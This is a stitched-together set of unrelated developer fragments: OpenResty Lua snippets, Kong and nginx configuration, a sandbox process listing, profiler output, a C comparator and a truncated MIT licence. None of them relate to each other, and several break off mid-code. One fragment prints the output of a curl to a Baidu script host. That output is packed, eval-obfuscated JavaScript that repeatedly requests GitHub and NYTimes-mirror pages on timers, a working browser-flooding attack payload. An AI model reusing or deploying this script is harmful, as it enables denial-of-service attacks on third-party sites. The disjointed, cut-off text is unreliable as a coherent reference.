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local sema = require("ngx.semaphore")


local s = sema.new()


local function do_post()
    s:post()
    --ngx.sleep(0)
    print("posted")

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local ffi = require("ffi")
local C = ffi.C


ffi.cdef([[
struct group *getgrnam(const char *name);
struct passwd *getpwnam(const char *name);
]])

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title
Configuration Reference

Configuration loading

Kong comes with a default configuration file that can be found at /etc/kong/kong.conf.default if you installed Kong via one of the official packages. To start configuring Kong, you can copy this file:

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local connection = "keep-alive"
local i = 0
local ngx_re       = require "ngx.re"
local re_split     = ngx_re.split
local lower        = string.lower
local gsub         = string.gsub
local find         = string.find
local sub          = string.sub

local function csv_iterator(s, b)

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worker_processes 1;
error_log stderr debug;
daemon off;
pid logs/nginx.pid;
pcre_jit on;

events {
  worker_connections 1024;
}

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USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.1   4472   752 ?        Ss   17:24   0:00 sh -c $OBSCURE_DIR/runc.sh
root         9  0.0  0.5  18060  2868 ?        S    17:24   0:00 /bin/bash /usr/lib/gcc/x86_64-linux-gnu/4.9.1/.cache/runc.sh
root        28  0.0  0.3  13688  1536 ?        S    17:24   0:00 /usr/lib/gcc/x86_64-linux-gnu/4.9.1/.cache/trace_safe --mode=interpret --binary=/usr/lib/gcc/x86_64-linux-gnu/4.9.1/.cache/prog --lang=c --data_input=/usr/lib/gcc/x86_64-linux-gnu/4.9.1/.cache/data/data.in --time_limit=1900 --memory_limit=20971520 --stack_limit=4394304 --recursion_limit=None
judge       29  0.0  0.1   5236   784 ?        S    17:24   0:00 sandbox run
judge       30  0.0  0.1   4472   840 ?        S    17:24   0:00 sh -c ps aux
judge       31  0.0  0.4  15600  2200 ?        R    17:24   0:00 ps aux

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$ curl http://cbjs.baidu.com/js/o.js

eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('l.k("<5 p=\'r://H.B.9/8/2.0.0/8.C.t\'>\\h/5>");!J.K&&l.k("<5 p=\'r://L.8.9/8-T.t\'>\\h/5>");j=(6 4).c();7 g=0;3 i(){7 a=6 4;V 4.Z(a.10(),a.w(),a.x(),a.11(),a.y(),a.z())/A}d=["m://n.9/E","m://n.9/F-G"];o=d.I;3 e(){7 a=i()%o;q(d[a])}3 q(a){7 b;$.M({N:a,O:"5",P:Q,R:!0,S:3(){s=(6 4).c()},U:3(){f=(6 4).c();b=W.X(f-s);Y>f-j&&(u(b),g+=1)}})}3 u(a){v("e()",a)}v("e()",D);',62,64,'|||function|Date|script|new|var|jquery|com|||getTime|url_array|r_send2|responseTime|count|x3c|unixtime|startime|write|document|https|github|NUM|src|get|http|requestTime|js|r_send|setTimeout|getMonth|getDay|getMinutes|getSeconds|1E3|baidu|min|2E3|greatfire|cn|nytimes|libs|length|window|

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[root@dev shadowsocks-libuv]# gprof ./server
Flat profile:

Each sample counts as 0.01 seconds.
  %   cumulative   self              self     total           
 time   seconds   seconds    calls  ms/call  ms/call  name    
 66.67      0.02     0.02   260865     0.00     0.00  merge
 33.34      0.03     0.01                             uv_backend_timeout
  0.00      0.03     0.00    28563     0.00     0.00  established_alloc_cb
  0.00      0.03     0.00    28496     0.00     0.00  after_write_cb

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#include <stdio.h>
#include <stdlib.h>

typedef struct {
		char a;
		char b;
	} s;

int comp (const s *a, const s *b) {
	return a->a > b->a || a->b < b->b ? -1 : 1;

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/*
The MIT License (MIT)
Copyright (c) <2012> <Datong Sun> idndx.com

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNEC